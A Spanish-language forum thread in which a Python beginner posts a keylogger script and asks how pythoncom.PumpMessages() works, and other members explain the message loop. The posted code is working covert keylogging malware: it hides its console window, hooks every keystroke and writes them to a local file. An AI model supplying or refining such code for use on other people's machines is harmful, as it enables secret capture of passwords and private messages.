duda con keylogger

Iniciado por seyco, 27 Agosto 2015, 23:56 PM

0 Miembros y 1 Visitante están viendo este tema.

seyco

recien estoy iniciando a aprender python y encontre este codigo de keylogger, no logro entender bien como funciona el ptyhoncom.pumpmessages().

import win32api
import win32console
import win32gui
import pythoncom,pyHook

win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()


segun lo poco que entendi de pythoncom.PumpMessages(), espera hasta que reciba otra tecla presionada pero, y luego vuelve a iniciar todo el codigo o que pasa?

iUDEX

#1
Si vas a publicar código, utiliza las etiquetas GeSHi o modifica la primera etiqueta para que quede como code=python.




pythoncom.PumpMessages() simplemente se ejecuta continuamente y, por lo tanto, no requiere reiniciar todo el código.
Namasté, criatura.

seyco

osea solo se queda ejecutando esa ultima linea de codigo? que pasa cuando se recibe el evento de la tecla presionada

tincopasan

#3
está más que bien que no conozcas la función, pero... si quieres saber que hace el script, o sea como funciona si tiene loops o condicionales, etc, debugealo, pon un bp y sigue paso a paso cada línea.

ah y podrías usar
Código (python) [Seleccionar]
  while True: # código, pythoncom.PumpWaitingMessages()
para no bloquear la ejecución.